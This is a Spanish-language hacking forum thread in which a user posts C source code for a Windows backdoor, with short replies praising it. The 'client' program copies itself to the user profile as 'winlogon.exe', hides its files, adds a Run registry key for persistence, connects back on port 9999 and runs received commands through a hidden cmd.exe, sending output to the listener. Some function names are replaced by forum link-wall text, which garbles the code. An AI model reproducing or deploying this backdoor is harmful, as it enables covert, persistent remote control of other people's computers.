send
Grupo de Telegram
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Shell remota

  • 3 Respuestas
  • 2965 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado daryo

  • *
  • Underc0der
  • Mensajes: 3
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« en: Diciembre 30, 2012, 02:55:25 pm »
como es la primera vez que hago algo asi tiene varios problemas pero talves a alguien le sirva ...
server
Código: C
  1. #include <winsock2.h> //la cabezera para usar las funciones de winsock
  2. #include <stdio.h>
  3.  
  4.  
  5.  
  6. int main()
  7. {
  8.    WSADATA wsa;
  9.    SOCKET sock;
  10.    struct sockaddr_in local;
  11.    int len=0;
  12.    int lend=0;
  13.    char Buffer[1024];
  14.    char recibido[1024];
  15.  
  16.    //Inicializamos
  17.    WSAStartup(MAKEWORD(2,0),&wsa);
  18.  
  19.    //Creamos el socket
  20.    sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  21.  
  22.    //defnimos dirección por defecto, ipv4 y el puerto 9999
  23.    local.sin_family = AF_INET;
  24.    local.sin_addr.s_addr = INADDR_ANY;
  25.    local.sin_port = htons(9999);
  26.  
  27.    //asociamos el socket al puerto
  28.    if (bind(sock, (SOCKADDR*) &local, sizeof(local))==-1)
  29.    {
  30.       You are not allowed to view links. Register or Login("error en el bind\n");
  31.       return -1;
  32.    }
  33.  
  34.    //ponemos el socket a la escucha
  35.    if (listen(sock,1)==-1)
  36.    {
  37.       You are not allowed to view links. Register or Login("error en el listen\n");
  38.       return -1;
  39.    }
  40.  
  41.    len=sizeof(struct sockaddr);
  42.  
  43.    //hay una conexión entrante y la aceptamos
  44.    sock=accept(sock,(sockaddr*)&local,&len);
  45.  
  46.    You are not allowed to view links. Register or Login("daryo shell\n");
  47.  
  48.    int bytes_recv; // esta variable es para saber si llego algun comando
  49.  
  50.    while (len!=0) //mientras estemos conectados con el otro pc
  51.    {
  52.       You are not allowed to view links. Register or Login(Buffer, 0, sizeof(Buffer)); // Limpiamos el buffer.
  53.       You are not allowed to view links. Register or Login(stdin);
  54.       You are not allowed to view links. Register or Login(stdout);
  55.       //esto es para limpiar la cadena por si acaso el siguien comando no tiene respuesta ...
  56.      for (int x=0;x<1024;x++){
  57.      recibido[x]='\0';
  58.      }
  59.     //------------------------------------
  60.       // aca se envia el comando
  61.       You are not allowed to view links. Register or Login("\n\n\nenviar comando>");
  62.       You are not allowed to view links. Register or Login(Buffer);
  63.       len=send(sock,Buffer,You are not allowed to view links. Register or Login(Buffer),0); //recibimos los datos que envie
  64.  
  65. // aca espera la llegada del comando
  66.     do{
  67.         bytes_recv = recv(sock, recibido, sizeof(recibido), 0);   // Esperamos para recibir datos...
  68.     } while(bytes_recv == 0 && bytes_recv != SOCKET_ERROR);
  69.     if(bytes_recv > 0){
  70.     You are not allowed to view links. Register or Login(recibido);
  71.  
  72.  
  73.  
  74.     }
  75.  
  76.    }
  77.  
  78.    return 0;
  79. }
  80.  
  81.  


cliente
Código: C
  1. #include <winsock2.h> //la cabezera para usar las funciones de winsock
  2. #include <cstdio>
  3. #include <cstring>
  4. #include <windows.h>
  5.  
  6.  
  7. bool FileExists() {
  8.  FILE *archivo =You are not allowed to view links. Register or Login("windows.dll","r");
  9.  
  10.  if (archivo){
  11.      return true;
  12. }
  13. pclose(archivo);
  14. return false;
  15. }
  16.  
  17. void instalar(char *directorio,char *direccion){
  18. CopyFile ( direccion, directorio, true );
  19. FILE * winlog=You are not allowed to view links. Register or Login("windows.dll","w");
  20. pclose(winlog);
  21. // ahora escondemos el erchivo
  22. SetFileAttributesA (directorio, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM);
  23. SetFileAttributesA ("windows.dll", FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM);
  24. // ahora el registro
  25. HKEY hkey;
  26. char registro[60];
  27. You are not allowed to view links. Register or Login(registro,directorio);
  28. RegOpenKeyEx (HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\run",0, KEY_SET_VALUE, &hkey);
  29. RegSetValueEx (hkey, "windout", 0, REG_SZ,(const unsigned char * ) registro, sizeof registro );
  30. RegCloseKey (hkey);
  31. }
  32.  
  33. int shell(){
  34.  
  35.    WSADATA wsa;
  36.    SOCKET sock;
  37.    struct hostent *host;
  38.    struct sockaddr_in direc;
  39.    int conex;
  40.    char Buffer[1024];
  41.    char *comando;
  42.    int len;
  43.  
  44.    //Inicializamos
  45.    WSAStartup(MAKEWORD(2,2),&wsa);
  46.  
  47.    //resolvemos el nombre de dominio localhost, esto se resolverá a 127.0.0.1
  48.    host=gethostbyname("localhost");
  49.  
  50.    //creamos el socket
  51.    sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  52.    if (sock==-1)
  53.    {
  54.       return -1;
  55.    }
  56.    //Definimos la dirección a conectar que hemos recibido desde el gethostbyname
  57.    //y decimos que el puerto al que deberá conectar es el 9999 con el protocolo ipv4
  58.    direc.sin_family=AF_INET;
  59.    direc.sin_port=htons(9999);
  60.    direc.sin_addr = *((struct in_addr *)host->h_addr);
  61.    You are not allowed to view links. Register or Login(direc.sin_zero,0,8);
  62.  
  63.    //Intentamos establecer la conexión
  64.    conex=connect(sock,(sockaddr *)&direc, sizeof(sockaddr));
  65.    if (conex==-1)  //si no se ha podido conectar porque no se ha encontrado el host o no
  66.                   //está el puerto abierto
  67.    {
  68.       return -1;
  69.    }
  70.  
  71.  
  72.    while (len!=-1 && You are not allowed to view links. Register or Login(Buffer,"salir")!=0) //mientras el socket no se haya desconectado
  73.                                                //y no se escriba salir
  74.    {
  75.       len=recv(sock,Buffer,1023,0); //recibimos los datos que envie
  76.       if (len>0)  //si seguimos conectados
  77.       {
  78.          Buffer[len]=0; //le ponemos el final de cadena
  79.          comando=Buffer;
  80.          char ejecutar[500]="c:\\windows\\system32\\cmd.exe /c ";
  81.          You are not allowed to view links. Register or Login(ejecutar,comando);
  82.  
  83.          // ejecutar comando
  84.        SECURITY_ATTRIBUTES sa;
  85.        STARTUPINFO si;
  86.        PROCESS_INFORMATION pi;
  87.  
  88.        void * leer;
  89.        void * escribir;
  90.  
  91.        ZeroMemory(&sa,sizeof(&sa));
  92.  
  93.        sa.nLength = sizeof(SECURITY_ATTRIBUTES);
  94.        sa.bInheritHandle = TRUE;
  95.        sa.lpSecurityDescriptor = NULL;
  96.  
  97.        CreatePipe(&leer,&escribir,&sa,0);
  98.  
  99.        GetStartupInfoA(&si);
  100.  
  101.        si.dwFlags = STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW;
  102.        si.wShowWindow = SW_HIDE;
  103.        si.hStdOutput = escribir;
  104.        si.hStdError  = escribir;
  105.        si.hStdInput = leer;
  106.  
  107.        CreateProcessA(0,ejecutar,0,0,TRUE,0,0,0,&si,&pi);
  108.        Sleep(200);
  109.        CloseHandle(escribir);
  110.  
  111.        char buffer[1024];
  112.        DWORD bleidos;
  113.        ReadFile(leer,buffer,1024,&bleidos,0);
  114.        send(sock,buffer,1024, 0);
  115.        // un exagerado intento de mantener el buffer vacio
  116.        You are not allowed to view links. Register or Login(buffer, 0, sizeof(buffer));
  117.        You are not allowed to view links. Register or Login(Buffer, 0, sizeof(Buffer));
  118.        for (int x=0;x<=500;x++){
  119.        ejecutar[x]='\0';
  120.        }
  121.        for (int x=0;x<=1024;x++){
  122.        Buffer[x]='\0';
  123.        }
  124.        You are not allowed to view links. Register or Login(stdin);
  125.        You are not allowed to view links. Register or Login(stdout);
  126.     //------------------------------------------
  127.  
  128.       }
  129.    }
  130.  
  131. }
  132.  
  133. int main(int argc,char *argv[])
  134. {
  135.    char *directorio; // directorio de la instalacion
  136.    char *direccion; // direccion actual
  137.    direccion=argv[0];
  138.    directorio=You are not allowed to view links. Register or Login("userprofile");
  139.    SetCurrentDirectory(directorio);
  140.    You are not allowed to view links. Register or Login(directorio,"\\winlogon.exe"); // nombre de el archivo
  141.    // se ubica en la carpeta de usuario
  142.    if(FileExists()){
  143.    while(true){
  144.    shell();
  145.    Sleep(15000);
  146.    }
  147.    }
  148.    else{
  149.    instalar(directorio,direccion);
  150.    STARTUPINFO si;
  151.    PROCESS_INFORMATION pi;
  152.    ZeroMemory( &si, sizeof(si) );
  153.    si.cb = sizeof(si);
  154.    ZeroMemory( &pi, sizeof(pi) );
  155.    CreateProcess( NULL,   // No module name (use command line)
  156.     "winlogon.exe",        // Command line
  157.         NULL,           // Process handle not inheritable
  158.         NULL,           // Thread handle not inheritable
  159.         FALSE,          // Set handle inheritance to FALSE
  160.         0,              // No creation flags
  161.         NULL,           // Use parent's environment block
  162.         NULL,           // Use parent's starting directory
  163.         &si,            // Pointer to STARTUPINFO structure
  164.         &pi );
  165.    }
  166.    return 0;
  167. }
  168.  
  169.  
« Última modificación: Febrero 08, 2014, 05:39:55 pm por Expermicid »

Desconectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5267
  • Actividad:
    48.33%
  • Reputación 26
  • ANTRAX
    • Ver Perfil
    • Underc0de
    • Email
  • Skype: underc0de.org
  • Twitter: @Underc0de
« Respuesta #1 en: Diciembre 30, 2012, 03:25:52 pm »
Excelente aporte man!
Muchisimas gracias!


Desconectado daryo

  • *
  • Underc0der
  • Mensajes: 3
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #2 en: Diciembre 31, 2012, 09:13:44 am »
You are not allowed to view links. Register or Login
Excelente aporte man!
Muchisimas gracias!
por nada
me alegro que les guste :)

Desconectado [L]ord [R]NA

  • *
  • Underc0der
  • Mensajes: 86
  • Actividad:
    0%
  • Reputación 0
  • H-Sec
    • Ver Perfil
  • Skype: lordrna
  • Twitter: lordrna
« Respuesta #3 en: Enero 09, 2013, 11:47:03 pm »
El orden de Servidor y Cliente esta inverso... no importa quien se conecte a quien, quien brinda el servicio es el server.

 

¿Te gustó el post? COMPARTILO!



Simple Shell Remota

Iniciado por Juan

Respuestas: 1
Vistas: 1849
Último mensaje Mayo 06, 2011, 12:07:46 pm
por mr.blood